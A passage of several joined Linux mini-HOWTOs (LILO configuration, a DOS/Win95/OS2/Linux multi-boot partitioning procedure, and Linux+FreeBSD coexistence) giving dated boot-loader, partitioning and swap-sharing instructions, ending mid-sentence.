sda1        Boot        Primary   Linux ext2       [/boot]            24.68
sda2                    Primary   Linux Swap                         139.83
sda3                    Primary   Linux ext2       [/usr]           3150.29
sda4                    Primary   Linux ext2       [/home]         15044.04

Disk Drive: /dev/sdb - 0x81
sdb1                    Primary   Linux Swap                         139.83
sdb2                    Primary   Linux ext2       [/]              3150.29
sdb3                    Primary   Linux ext2       [/opt]           1052.84
sdb4                    Primary   Linux ext2       [/public]       14015.88

Disk Drive: /dev/sdc - 0x82
sdc1                    Primary   Linux ext2       [/var]           1052.84
sdc2                    Primary   Linux ext2       [/tmp]            106.93
sdc3                    Primary   Linux ext2       [/cache]         1052.84
sdc4                    Primary   Linux ext2       [/chroot]        2352.44

Disk Drive: /dev/sdd - 0x83
sdd1        Boot        Primary   NTFS             [WINDOWS_2000]   9162.97

My full /etc/lilo.conf :

boot=/dev/sda
map=/boot/map
install=/boot/boot.b
prompt
default=Linux
read-only
compact
image=/boot/vmlinuz
  label=Linux
  root=/dev/sdb2
other=/dev/sdd1
  label=Windows
  map-drive = 0x83
  to = 0x80
  map-drive = 0x80
  to = 0x83

6.3 Miscellaneous

I just plugged a new scsi drive, and now LILO refuse to boot, what's going on ?

When you plug a disk, you must be careful with the IDs. If you add a drive between two already plugged disks the BIOS numbers are changed :

         Before            ---->             After
scsi id -       - BIOS id        scsi id -          - BIOS id
ID 0    - disk  - 0x80           ID 0    - disk     - 0x80
ID 1    - empty                  ID 1    - new disk - 0x81
ID 2    - disk  - 0x81           ID 2    - disk     - 0x82 !!

If you change the BIOS ids, you have to re-evaluate them.


LILO mini-HOWTO: Accessing Huge Disks When the BIOS Can't

 Next Previous Contents

7. Accessing Huge Disks When the BIOS Can't

Notice: 1GB is "Huge"? Well, once upon a time...

The system in my office has a 1GB IDE drive. The BIOS can only see the first 504 MB of the IDE. (Where MB means 2**10 bytes, not 10**6 bytes.) So I have MS-DOS on a 350 MB partition /dev/hda1 and my Linux root on a 120 MB partition /dev/hda2.

Hauke Laging laging.de> and Bob Hall hallfire.org> have noticed a small mistake above, so they've suggested a MB to be 2**20 bytes rather than 2**10 bytes. Thanks for correction. In addition, Hauke would like to learn more about what he called, "character codes on LILO startup, when LILO dies with LI, LI-, LIL- or whatever". I'd appreciate a contribution related to this issue or a valid web link to that.

MS-DOS was unable to install itself correctly when the drive was fresh. Novell DOS 7 had the same problem. Luckily for me, "Options by IBM" forgot to put the "OnTrack" diskette in the box with the drive. The drive was supposed to come with a product called "OnTrack Disk Manager." If you only have MSDOS, I guess you have to use it.

So I made a partition table with Linux' fdisk. MSDOS-6.2 refused to install itself in /dev/hda1. It said something like ``this release of MS-DOS is for new installations. Your computer already has MS-DOS so you need to get an upgrade release from your dealer.'' Actually, the disk was brand new.

What a crock! So I ran Linux' fdisk again and deleted partition 1 from the table. This satisfied MS-DOS 6.2 which proceeded to create the exact same partition 1 I had just deleted and installed itself. MS-DOS 6.2 wrote its Master Boot Record on the drive, but it couldn't boot.

Luckily I had a Slackware kernel on floppy (made by the Slackware installation program "setup"), so I booted Linux and wrote Lilo over MS-DOS' broken MBR. This works. Here is the /etc/lilo.conf file I used:

boot = /dev/hda
map = /lilo-map
delay = 100
ramdisk = 0             # Turns off ramdisk in Slackware kernel
timeout = 100
prompt
disk = /dev/hda         # BIOS only sees first 500 MB.
   bios = 0x80          # specifies the first IDE.
   sectors = 63         # get the numbers from your drive's docs.
   heads = 16
   cylinders = 2100
image = /vmlinuz
  append = "hd=2100,16,63"
  root = /dev/hda2
  label = linux
  read-only
  vga = extended
other = /dev/hda1
  label = msdos
  table = /dev/hda
  loader = /boot/chain.b

After I installed these systems, I verified that the partition containing the zImage, boot.b, map, chain.b, and message files can use an msdos file system, as long as it is not "stackered" or "doublespaced." So I could have made the DOS partition on /dev/hda1 500 MB.

I have also learned that "OnTrack" would have written a partition table starting a few dozen bytes into the drive, instead of at the beginning, and it is possible to hack the Linux IDE driver to work around this problem. But installing would have been impossible with the precompiled Slackware kernel. Eventually, IBM sent me an "OnTrack" diskette. I called OnTrack's technical support. They told me Linux is broken because Linux doesn't use BIOS. I gave their diskette away.


LILO mini-HOWTO: Booting from a Rescue Floppy

 Next Previous Contents

8. Booting from a Rescue Floppy

Next, I installed Windows-95 on my office system. It blew away my nice Lilo MBR, but it left my Linux partitions alone. Kernels take a long time to load from floppy, so I made a floppy with a working Lilo setup on it, which could boot my kernel from the IDE.

I made the lilo floppy like so:

  fdformat /dev/fd0H1440      #  lay tracks on virgin diskette
  mkfs -t minix /dev/fd0 1440 #  make file system of type minix
  mount /dev/fd0 /mnt         #  mount in the standard tmp mount point
  cp -p /boot/chain.b /mnt    #  copy the chain loader over
  lilo -C /etc/lilo.flop      #  install Lilo and the map on the diskette.
  umount /mnt

Notice that the diskette must be mounted when you run the installer so that Lilo can write its map file properly.

This file is /etc/lilo.flop. It's almost the same as the last one:

#  Makes a floppy that can boot kernels from HD.
boot = /dev/fd0
map = /mnt/lilo-map
delay = 100
ramdisk = 0
timeout = 100
prompt
disk = /dev/hda     # 1 GB IDE, BIOS only sees first 500 MB.
   bios=0x80
   sectors = 63
   heads = 16
   cylinders = 2100
image = /vmlinuz
  append = "hd=2100,16,63"
  root = /dev/hda2
  label = linux
  read-only
  vga = extended
other = /dev/hda1
  label = msdos
  table = /dev/hda
  loader = /mnt/chain.b

Finally, I needed MS-DOS 6.2 on my office system, but I didn't want to touch the first drive. I added a SCSI controller and drive, made an msdos file system on it with Linux' mkdosfs, and Windows-95 sees it as "D:". But of course MSDOS will not boot off of D:. This is not a problem when you have Lilo. I added the following to the lilo.conf in Example 2.

other = /dev/sda1
  label = d6.2
  table = /dev/sda
  loader = /boot/any_d.b

With this modification MSDOS-6.2 runs, and it thinks it is on C: and Windows-95 is on D:.


LILO mini-HOWTO: Further Information

 Next Previous Contents

9. Further Information

9.1 Copyright

Copyright (c) 2002 by Miroslav "Misko" Skoric.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available from http://www.fsf.org/licenses/fdl.html.

9.2 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

9.3 News

In addition to the Lilo docs, there are a number of mini-howto's that can be useful for your needs. All of them are called ``Linux+foobarOS'', for some foobarOS, they deal with coexistence of Linux and other operationg system(s). For example, "NT OS Loader + Linux mini-HOWTO" by Bernd Reichert, describes how to add an entry for Linux under existing Windows NT Loader's menu. Next, you have "Linux+WindowsNT mini-HOWTO" by myself, covering how to add an entry for NT under existing Linux Lilo menu (more detailed than here). Also, "Multiboot-with-LILO" describes how the various Windows flavours can be made to coexist with Linux.

This mini-HOWTO would be improved from time to time. If you think that the HOWTO on your Linux installation CD is some out-of-date, you may check for newest release on the Internet. It could be found within the main Linux Documentation Project homepage.

9.4 Credits

This version of mini-HOWTO can thanks to:

Cameron Spitzer (cls@truffula.sj.ca.us)
Alessandro Rubini (rubini@linux.it)
Tony Harris (tony@nmr.mgh.harvard.edu)
Marc Tanguy (mtanguy@ens.uvsq.fr)

Any comments or suggestions can be mailed to my email address: m.skoric@eunet.yu.

9.5 HOWTO

These are intended as the primary starting points to get the background information as well as show you how to solve a specific problem. Some relevant HOWTOs are Bootdisk, Installation, SCSI and UMSDOS. The main site for these is the LDP archive at Metalab (formerly known as Sunsite).

9.6 Mini-HOWTO

These are the smaller free text relatives to the HOWTOs. Some relevant mini-HOWTOs are Backup-With-MSDOS, Diskless, LILO, Large Disk, Linux+DOS+Win95+OS2, Linux+OS2+DOS, Linux+Win95, Linux+WindowsNT, Linux+NT-Loader, NFS-Root, Win95+Win+Linux, ZIP Drive, FBB packet-radio BBS. You can find these at the same place as the HOWTOs, usually in a sub directory called mini. Note that these are scheduled to be converted into SGML and become proper HOWTOs in the near future.

9.7 Local Resources

In most distributions of Linux there is a document directory installed, have a look in the /usr/doc directory. where most packages store their main documentation and README files etc. Also you will here find the HOWTO archive ( /usr/doc/HOWTO) of ready formatted HOWTOs and also the mini-HOWTO archive ( /usr/doc/HOWTO/mini) of plain text documents.

Many of the configuration files mentioned earlier can be found in the /etc directory. In particular you will want to work with the /etc/fstab file that sets up the mounting of partitions and possibly also /etc/mdtab file that is used for the md system to set up RAID.

The kernel source in /usr/src/linux is, of course, the ultimate documentation. In other words, use the source, Luke. It should also be pointed out that the kernel comes not only with source code which is even commented (well, partially at least) but also an informative documentation directory. If you are about to ask any questions about the kernel you should read this first, it will save you and many others a lot of time and possibly embarrassment.

Also have a look in your system log file ( /var/log/messages) to see what is going on and in particular how the booting went if too much scrolled off your screen. Using tail -f /var/log/messages in a separate window or screen will give you a continuous update of what is going on in your system.

You can also take advantage of the /proc file system that is a window into the inner workings of your system. Use cat rather than more to view the files as they are reported as being zero length. Reports are that less works well here.

9.8 Web Pages

There is a huge number of informative web pages out there and by their very nature they change quickly so don't be too surprised if these links become quickly outdated.

A good starting point is of course the Linux Documentation Project home page, an information central for documentation, project pages and much, much more.

Please let me know if you have any other leads that can be of interest.


LILO mini-HOWTO: GETTING HELP

 Next Previous Contents

10. GETTING HELP

In the end you might find yourself unable to solve your problems and need help from someone else. The most efficient way is either to ask someone local or in your nearest Linux user group, search the web for the nearest one.

Another possibility is to ask on Usenet News in one of the many, many newsgroups available. The problem is that these have such a high volume and noise (called low signal-to-noise ratio) that your question can easily fall through unanswered.

No matter where you ask it is important to ask well or you will not be taken seriously. Saying just my disk does not work is not going to help you and instead the noise level is increased even further and if you are lucky someone will ask you to clarify.

Instead describe your problems in some detail that will enable people to help you. The problem could lie somewhere you did not expect. Therefore you are advised to list up the following information on your system:

Hardware

  • Processor
  • DMA
  • IRQ
  • Chip set (LX, BX etc)
  • Bus (ISA, VESA, PCI etc)
  • Expansion cards used (Disk controllers, video, IO etc)

Software

  • BIOS (On motherboard and possibly SCSI host adapters)
  • LILO, if used
  • Linux kernel version as well as possible modifications and patches
  • Kernel parameters, if any
  • Software that shows the error (with version number or date)

Peripherals

  • Type of disk drives with manufacturer name, version and type
  • Other relevant peripherals connected to the same busses

Remember that booting text is logged to /var/log/messages which can answer most of the questions above. Obviously if the drives fail you might not be able to get the log saved to disk but you can at least scroll back up the screen using the SHIFT and PAGE UP keys. It may also be useful to include part of this in your request for help but do not go overboard, keep it brief as a complete log file dumped to Usenet News is more than a little annoying.


The Linux ``Linux-DOS-Win95-OS2'' mini-HOWTO

Mike Harlan, r3mdh@raex.com

v1.3.1, 11 November 1997

This document presents a procedure to make 4 operating systems co-exist on a single hard disk.

Disclaimer:

Any damages inflicted on any machine by you as a result of your reading of this HOWTO is still YOUR FAULT. When you read about deleting partitions and formatting disks, be smart. Realize that doing any of the above will result in loss of data. So, BACKUP SOON, BACKUP OFTEN. This is your second-to-the-last warning.

Stuff to make the lawyers happy:

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu via email.

Updates from v1.3:

  • Updated my e-mail address. My address has changed from r3mdh@imperium.net to r3mdh@raex.com.
Updates from v1.0:

  • Updated my e-mail address. My address has changed from r3mdh@dax.cc.uakron.edu to r3mdh@imperium.net.

Now...........on with the show!

1. Introduction

2. The Procedure


The Linux ``Linux-DOS-Win95-OS2'' mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

After many days of struggle and frustration, I finally figured out how to accomplish what I wanted. I have a 1.2GB HD and 16MB RAM PC. I wanted to have 4 operating systems on my system: MSDOS v6.22, Windows 95, OS/2, and Linux. Until now, I have found no Linux HOWTO to perform the task of getting each and every one of these operating systems on one machine and still have the ability to boot each (it is possible to write the OSs to different partitions, but getting them to boot and not hang at the ``Starting MSDOS'' message, for example, is something that I had to figure out. Well, after much trial and error, I have come up with the following recipe to perform this feat:

Before I begin going through the procedure step-by-step, let me first clue you in on what I eventually wish to accomplish:

<NAME>                      <SIZE>   <LABEL>  <PARTITION NUMBER>
---------------------------------------------------------------------
MSDOS v6.22                   11MB   P1       Primary Partition 1
---------------------------------------------------------------------
Windows '95                  350MB   P2       Primary Partition 2
---------------------------------------------------------------------
OS/2 Boot Manager              2MB   P3       Primary Partition 3
---------------------------------------------------------------------
DOS/Win Data                 511MB   E1       Primary Partition 4
OS/2 Warp 3.0                127MB   E2       Extended into 4 logical
Linux Slakware 3.2 Swap        XMB   E3       drives (sub-partitions)
Linux Slakware 3.2 Native  219-XMB   E4       labeled E1-E4
---------------------------------------------------------------------
What does all of this mean? Well, let me talk you through it. First, we need to use up all 4 partitions on our 1 harddrive. Partitions 1 through 3 are PRIMARY partitions. We will store MSDOS, Win95 and the OS/2 Boot Manager (which inefficiently requires its OWN partition) on these partitions, respectively. We then have 1 partition left. But, we want to have a drive just for DOS/Win95 data (this gives us a large place to dump all of those ZIP files we so often download from the Internet as well as a place to store Win95 programs and data that we don't have enough room for on the Win95 partition), OS/2, and Linux (both a Linux native as well as Linux swap partition).

Now, I've been getting a lot of grief through e-mail lately about why I have a separate partition for Win95 and one for DOS and one for Win95/DOS data. Here's my answer: having separate Win95 and DOS partitions isn't for everyone. Perhaps you don't even use DOS anymore. Perhaps Windows '95 is your answer for any software written for a Microsoft platform. Well, there are some people out there who still use DOS and can't live without it. Whether it's because DOS can run 16-bit applications faster and more efficient, or because the certain DOS program that you may use won't run under a Windows environment (the Gravis Ultrasound soundcard setup program comes to mind), you simply MUST be able to boot into DOS from time to time. This HOWTO was written with those people in mind. If you still have difficulty swallowing the fact that the word ``MSDOS'' is included in this HOWTO, then feel free to sit down and write a Linux-Win95-OS/2-only HOWTO. :)

Now, back to the diagram above. Like I said, we have 1 partition to cram 4 things onto: DOS/Win data, OS/2, and Linux native & swap. This can be done by creating what are called logical drives (or logical partitions, depending on which book you read) within the 1 primary partition. When we create these logical drives within a primary partition, we refer to this primary partition as an EXTENDED PARTITION (because it is extended beyond the scope of a single, primary partition and instead contains up to 3 subpartitions (logical drives)). Confused? If so, you might want to read the OS/2 manual about this topic. It will explain it better than I have here.

Now, you might be scratching your head saying ``he wants to cram 4 things onto that extended partition, but he just got done saying we can only have 3 subpartitions to put them on!'' This is true, at least in MS-DOS's and OS/2's reasoning. But, here one of the many powerful advantages to Linux comes to save the day. Linux can create more than 3 subpartitions on an extended drive. Just how many, I don't know. But, I know it can create at LEAST 4 (what we need). So, when we go through the steps of the installation procedure below, keep in mind that when we create partitions using an MSDOS or OS/2 program, we will only create 3 logical drives. Then, when we go to Linux, we will split one of them into two. Essentially, you can think of it as ``tricking'' MSDOS and OS/2 into seeing only 3 logical drives, but in reality (and to Linux), there will be 4.


The Linux ``Linux-DOS-Win95-OS2'' mini-HOWTO: The Procedure

 Next Previous Contents

2. The Procedure

NOTE:

Numbers in parentheses were the number of megabytes that I used on my 1.2GB harddrive.

Now, let's move on to the step-by-step procedure:
  1. Run view.exe on the Linux Slakware CD and create the Linux Boot and Linux Root floppies. For some reason, the Linux bootstrap program calls the Root disk the Ramdisk floppy. I'll refer to this disk from now on as the Ramdisk (Root) floppy.
  2. Backup any information that you wish to keep to tape (or whatever media you have available to you).
  3. Boot your original MSDOS installation floppy, disk 1.
  4. When ``Starting MSDOS'' appears, press F5 to bypass config.sys and autoexec.bat.
  5. Run a:\fdisk.exe.
  6. Delete all partitions (you have been warned: DELETING / MODIFYING OF ANY PARTITION WILL RESULT IN THE LOSS OF ALL DATA ON THE DISK!).
  7. Add an MSDOS primary partition. (11MB)
  8. Format this partition.
  9. Run a:\setup.exe to install MSDOS on this partition.
  10. Boot OS/2.
  11. Select Advanced installation.
  12. Run FDISK. (this will eventually popup for you if you run through the OS/2 installation)
  13. Add 1 primary partition after the MSDOS one. This will become our Windows 95 partition. (349MB)
  14. Add the Boot Manager to the next primary partition. (2MB)
  15. Add an extended partition.
  16. Add a logical drive to the extended partition. This will become the data portion of our MSDOS system. (511MB)
  17. Add another logical drive to the extended partition. This will become our OS/2 HPFS (``High Performance File System'') partition. (127MB)
  18. Add 1 last logical drive to the extended partition using the remaining space on the drive. This will later become 2 partitions under Linux — our swap partition and our native Linux partition. But, since OS/2 (and DOS as well) can only write up to 6 partitions per drive (3 primary and 3 logical drives housed within 1 extended partition), we have to create only one at this time. And we DO have to create this partition. Don't leave this as free space and expect Linux to be able to create the two partitions. Due to the way that OS/2's FDISK works, where you add your last logical drive to the extended partition marks the END of the extended partition. You cannot add partitions beyond this point. So, in other words, creating this one last logical drive serves as a space-filler for Linux. Later we will delete this partition and add 2 new ones in the space that it once took up.
  19. Add partitions 1, 2, and 5 to the Boot Manager.
  20. Make partition 5 installable. Your FDISK screen should now look like this (or something like this):

                               FDISK

Disk 1
___________________________________________________________________________

Partition Information
Name            Status          Access          FS Type         MBytes
___________________________________________________________________________

MSDOS           Bootable        C: Primary      FAT              11
WIN 95          Bootable         : Primary      FAT             350
                Startable        : Primary      BOOT MANAGER      2
                None            D: Logical      Unformatted     511
OS/2            Installable     E: Logical      FAT             127
                None            F: Logical      Unformatted     219
  21. Continue on with the OS/2 installation process.
  22. Reboot and select partition 2 (Windows 95) from the Boot Manager.
  23. When the missing operating system error pops up, boot your MSDOS installation disk. We selected this partition in order to ``hide'' the MSDOS partition. OS/2's Boot Manager is a bit strange. For every bootable partition you have (in our case, MSDOS and OS/2), you can have only one of them visible at a time. What this means is that if you boot into one partition, MSDOS for example, the other partition (Win95) is invisible. The MSDOS partition and Win95 essentially SHARE a drive letter. That's why under ``Access'' above, MSDOS has drive letter C and Win95 has no drive letter. Under the current circumstances, MSDOS is visible with drive letter C and Win95 is invisible with no drive letter. If we were to boot Win95, the opposite would be true: MSDOS would be invisible with no drive letter and Win95 would be visible with drive letter C. An invisible drive cannot be accessed AT ALL. If you wish to copy files between two drives in which only one can be visible at one time, you must use a common (non-bootable) drive to swap files. In our case, the DOS/Win95 Data drive (drive D 511MB above) will serve as this common drive. You might be asking ``Won't we eventually be booting Linux also?''. The answer is yes, we will. But let's not get into that just yet.
  24. Install MSDOS to Partition 2 (we'll need this in order to install Windows 95).
  25. Boot Partition 2.
  26. Install Windows 95 to this partition (if you are running the upgrade version of Win95, you may need to have your Win3.1 installation disk 1 ready to insert).
  27. Boot Partition 1.
  28. Format Partition 4.
  29. Restore DOS data from tape (if any) to partitions 1 and 4.
  30. Boot the Linux Boot Floppy.
  31. Follow up with the Linux Ramdisk (Root) floppy.
  32. When you log in as root and get to the # prompt, type ``fdisk'' and press enter.
  33. Delete the last partition (the one we created in step 18).
  34. Add 1 16MB partition and tag it as filesystem type Linux Swap. (17MB)
  35. Add 1 last partition with the remaining cylinders on the disk and tag this as filesystem type Linux native. (198MB)
  36. Write the changes to the boot sector and reboot.
  37. When you get to the # prompt again, run setup.
  38. Install Linux to the last partition.
  39. When you install LILO, be sure to install it to the root of the last partition (NOT to the MBR, as you will destroy all of your previous work in this HOWTO if you do so). Add only the last partition to LILO and set the timer to zero. By doing this, when you select Linux from the OS/2 Boot Manager, LILO will activate and will then boot Linux from the logical drive on the extended partition. Since Linux is the only partition that we wish to activate from LILO, we don't need a timer on it (unless you have more than one Kernel that you wish to load. In this case, you may want to set the timer to something more than 0 seconds).
  40. Activate the Linux swap partition (refer to the Linux Installation and Getting Started Manual by Matt Welsh for this).
  41. Boot OS/2.
  42. Run FDISK.
  43. Add Linux to the Boot Manager using the Linux NATIVE partition (type 83 not 82!).
Your FDISK screen should now look like this (or something like this):

                               FDISK

Disk 1
___________________________________________________________________________

Partition Information
Name            Status          Access          FS Type         MBytes
___________________________________________________________________________

MSDOS           Bootable        C: Primary      FAT              11
WIN 95          Bootable         : Primary      FAT             350
                Startable        : Primary      BOOT MANAGER      2
                None            D: Logical      FAT             511
OS/2            Bootable        E: Logical      HPFS            127
                None             : Logical      Type 82          17
Linux           Bootable         : Logical      Type 83         198
...And you're done!

Send any comments/suggestions/problems (as a last resort, please!) to me at r3mdh@raex.com.

Mike Harlan, 11 NOV 1997


The Linux+FreeBSD mini-HOWTO

Niels Kristian Bech Jensen nkbj@image.dk

v1.11, 30 March 2000

This document describes how to use Linux and FreeBSD on the same system. It introduces FreeBSD and discusses how the two operating systems can cooperate, e.g. by sharing swap space. You should probably have some experience with Linux or FreeBSD and hard drive partitioning (fdisk) before you read this document. The tips herein are tested using FreeBSD 2.2.2, but they should be valid for newer versions as well. Do not hesitate to mail me if you have comments, questions or suggestions about this document. I would also like to hear from people who have experience using Linux together with NetBSD or OpenBSD.

1. What is FreeBSD?

2. The FreeBSD way of labelling hard drives

  • 2.1 FreeBSD ``slices'' and ``partitions''
  • 2.2 Drive and partition labelling in Linux and FreeBSD

3. Sharing swap space between Linux and FreeBSD

  • 3.1 Installing and preparing Linux
  • 3.2 Installing FreeBSD
  • 3.3 Setting up the FreeBSD swap partition in Linux

4. Booting FreeBSD using LILO

5. Mounting filesystems

  • 5.1 Mounting UFS filesystems under Linux
  • 5.2 Mounting ext2fs filesystems under FreeBSD

6. Running foreign binaries

  • 6.1 Running FreeBSD binaries under Linux
  • 6.2 Running Linux binaries under FreeBSD

7. Information resources

8. Credits and legal stuff

  • 8.1 Legal stuff


The Linux+FreeBSD mini-HOWTO: What is FreeBSD?

 Next Previous Contents

1. What is FreeBSD?

FreeBSD is a free Unix-like operating system much like Linux. The main difference is that, while the Linux kernel has been written from scratch, FreeBSD is based on the freely redistributable parts of 4.4BSD (Berkeley Software Distribution) known as 4.4BSD-lite. This fact might lead some people to suggest that FreeBSD is closer to being ``real'' UNIX® than Linux. FreeBSD runs only on the Intel PC platform (i386 and higher); ports to the DEC Alpha and Sun Sparc platforms are being worked on at the moment. NetBSD and OpenBSD are similar to FreeBSD, and both run on several platforms. Hardware requirements for all these *BSD systems are similar to those for Linux.

The development of FreeBSD is managed in a different way than the Linux development. A core team of developers serve as arbitrators and provide leadership for the project. Big changes are discussed in advance on the mailing lists. The FreeBSD project has two development trees (just like Linux): ``-CURRENT'' and ``-STABLE''. The ``-CURRENT'' development tree is where the development of new features happens. Development to the ``-STABLE'' tree are restricted to bug fixes and some thoroughly tested new features.

FreeBSD can be used and (re-)distributed freely just as Linux. Most parts of the system are released under the BSD copyright; the rest is under the GNU GPL or other open-source licences.


The Linux+FreeBSD mini-HOWTO: The FreeBSD way of labelling hard drives

 Next Previous Contents

2. The FreeBSD way of labelling hard drives

Linux and FreeBSD label hard drives and partitions after two differents schemes. This section explains the main differences between the two schemes. In fact the FreeBSD labelling scheme is an adaption of the traditional BSD labelling style ported to live within the PC's fdisk partitions. Thus it is very similar to other BSD-based Unix systems such as NetBSD, OpenBSD, Ultrix, Digital Unix, SunOS, and Solaris.

2.1 FreeBSD ``slices'' and ``partitions''

FreeBSD needs one of the four entries in the partition table on your PC's hard drive. This primary partition is called a ``slice'' in FreeBSD terminology. It then uses the disklabel program to make up to eight partitions in this primary partition. These logical partitions are called ``partitions'' in FreeBSD terminology. This concept is similar to the way Linux (and DOS) handles logical partitions in an extended partition. You cannot install FreeBSD in an extended partition made by Linux (or DOS). Note that the Linux fdisk program doesn't display the BSD partitions in a FreeBSD slice from the main menu, but it can display BSD disklabel information if you give the command `b'. The output is something like this (/dev/hda4 is the FreeBSD slice):

bash# fdisk /dev/hda

Command (m for help): p

Disk /dev/hda: 64 heads, 63 sectors, 621 cylinders
Units = cylinders of 4032 * 512 bytes

   Device Boot   Begin    Start      End   Blocks   Id  System
/dev/hda1   *        1        1       27    54400+  83  Linux native
/dev/hda2           28       28       55    56448   83  Linux native
/dev/hda3           56       56      403   701568   83  Linux native
/dev/hda4          404      404      621   439488   a5  BSD/386

Command (m for help): b
Reading disklabel of /dev/hda4 at sector 1624897.

BSD disklabel command (m for help): p

8 partitions:
#        size   offset    fstype   [fsize bsize   cpg]
  a:    64512  1624896    4.2BSD        0     0     0   # (Cyl.  404 - 419)
  b:   104832  1689408      swap                        # (Cyl.  420 - 445)
  c:   878976  1624896    unused        0     0         # (Cyl.  404 - 621)
  e:    64512  1794240    4.2BSD        0     0     0   # (Cyl.  446 - 461)
  f:   645120  1858752    4.2BSD        0     0     0   # (Cyl.  462 - 621)

BSD disklabel command (m for help): q
bash#

The letters `a'...`f' in the first column are the same labels as shown below in the example for a FreeBSD slice. There are three special partitions in BSD parlace. The letter `a' designates the root partition, `b' designates the swap partition, while `c' designates the whole slice. See the FreeBSD documentation for more information on the ``standard'' way of assigning these letters to different partition types.

2.2 Drive and partition labelling in Linux and FreeBSD

The hard drives are labelled in the following way in Linux and FreeBSD:

                        Linux           FreeBSD
First IDE drive         /dev/hda        /dev/wd0
Second IDE drive        /dev/hdb        /dev/wd1
First SCSI drive        /dev/sda        /dev/sd0
Second SCSI drive       /dev/sdb        /dev/sd1

The partitions (FreeBSD slices) on an IDE drive are labelled in the following way (/dev/hda is used as an example):

                                Linux           FreeBSD
First primary partition         /dev/hda1       /dev/wd0s1
Second primary partition        /dev/hda2       /dev/wd0s2
Third primary partition         /dev/hda3       /dev/wd0s3
Fourth primary partition        /dev/hda4       /dev/wd0s4

The partitions in my FreeBSD slice is labelled in the following way. It is the labelling you get by default. It is possible to change the labelling if you do a custom installation of FreeBSD (/dev/hda4 is the FreeBSD slice in the example):

Linux label     FreeBSD label   FreeBSD mount point
/dev/hda5       /dev/wd0s4a     /
/dev/hda6       /dev/wd0s4b     swap
/dev/hda7       /dev/wd0s4e     /var
/dev/hda8       /dev/wd0s4f     /usr

If you run dmesg in Linux you will see this as (The linux kernel must be build with UFS filesystem support for this to work. See section Installing and preparing Linux):

Partition check:
 hda: hda1 hda2 hda3 hda4 < hda5 hda6 hda7 hda8 >

If you have installed FreeBSD in the /dev/sd1s3 slice (/dev/sdb3 in Linux parlace), and /dev/sdb2 is a Linux extended partition containing two logical partitions (/dev/sdb5 and /dev/sdb6), the previous example would look like this:

Linux label     FreeBSD label   FreeBSD mount point
/dev/sdb7       /dev/sd1s3a     /
/dev/sdb8       /dev/sd1s3b     swap
/dev/sdb9       /dev/sd1s3e     /var
/dev/sdb10      /dev/sd1s3f     /usr

This will be shown as

Partition check:
 sdb: sdb1 sdb2 < sdb5 sdb6 > sdb3 < sdb7 sdb8 sdb9 sdb10 >
in the output from dmesg.

If you have a Linux extended partition after your FreeBSD slice you're in for trouble, because most Linux kernels installation floppies are build without UFS support, they will not recognise the FreeBSD partitions inside the slice. What should have have been seen as (/dev/hda3 is the FreeBSD slice and /dev/hda4 is the Linux extended partition)

Partition check:
 hda: hda1 hda2 hda3 < hda5 hda6 hda7 hda8 > hda4 < hda9 hda10 >
is seen as:
Partition check:
 hda: hda1 hda2 hda3 hda4 < hda5 hda6 >

This can give you the wrong device assignment and cause the loss of data. My advice is to always put your FreeBSD slice after any Linux extended partitions, and do not change any logical partitions in your Linux extended partitions after installing FreeBSD!


The Linux+FreeBSD mini-HOWTO: Sharing swap space between Linux and FreeBSD

 Next Previous Contents

3. Sharing swap space between Linux and FreeBSD

This section describes how I got Linux and FreeBSD to share a swap partition. There may be other ways to get the same result. You can install FreeBSD before Linux if you want to, just pay attention to the order of the partitions in the FreeBSD slice.

3.1 Installing and preparing Linux

The first step is to install Linux as normal. You have to leave space for the FreeBSD slice at your hard drive. You don't have to make a Linux swap partition, but if you want one, put it in the space you want to allocate for FreeBSD. That way you can delete the Linux swap partition later and use the space for FreeBSD.

When you have installed Linux you have to build a new kernel. Read The Linux Kernel HOWTO if this is new to you. You have to include both UFS filesystem support (read only) and BSD disklabel (FreeBSD partition tables) support:

UFS filesystem support (read only) (CONFIG_UFS_FS) [N/y/m/?] y
BSD disklabel (FreeBSD partition tables) support (CONFIG_BSD_DISKLABEL) [N/y/?]
(NEW) y

Install the new kernel and reboot. Remove any line including the word swap from your /etc/fstab file if you have made a Linux swap partition. Make sure you have a working Linux boot floppy with the new kernel. Now you are ready to install FreeBSD.

3.2 Installing FreeBSD

Install FreeBSD as described in the FreeBSD documentation. Remove the Linux swap partition if you have made one (you can use the FreeBSD fdisk program.) Pay attention to the order of the partitions in the FreeBSD slice. If you use the default labelling the second partition will be the swap partition. Complete the installation of FreeBSD and reboot into Linux using the new Linux boot floppy.

3.3 Setting up the FreeBSD swap partition in Linux

Run dmesg when you have booted into Linux. In the output you should see something like this:

Partition check:
 hda: hda1 hda2 hda3 hda4 < hda5 hda6 hda7 hda8 >

This means that /dev/hda4 is your FreeBSD slice, while /dev/hda5, /dev/hda6, /dev/hda7 and /dev/hda8 are the FreeBSD partitions. If your swap partition is the second partition in the slice, it will be /dev/hda6.

You have to put the following line into your Linux /etc/fstab file to enable the swap partition:

/dev/hda6       none            swap            sw              0       0

While FreeBSD can use any type of partition as swap space, Linux needs a special signature in the swap partition. This signature is made by mkswap. FreeBSD ruins this signature when it uses the shared swap partition, so you will have to run mkswap each time you boot into Linux. To do this automagically you have to find the script that runs swapon at boot time. In Red Hat Linux it is /etc/rc.d/rc.sysinit. Put the following line into that file just before swapon -a:

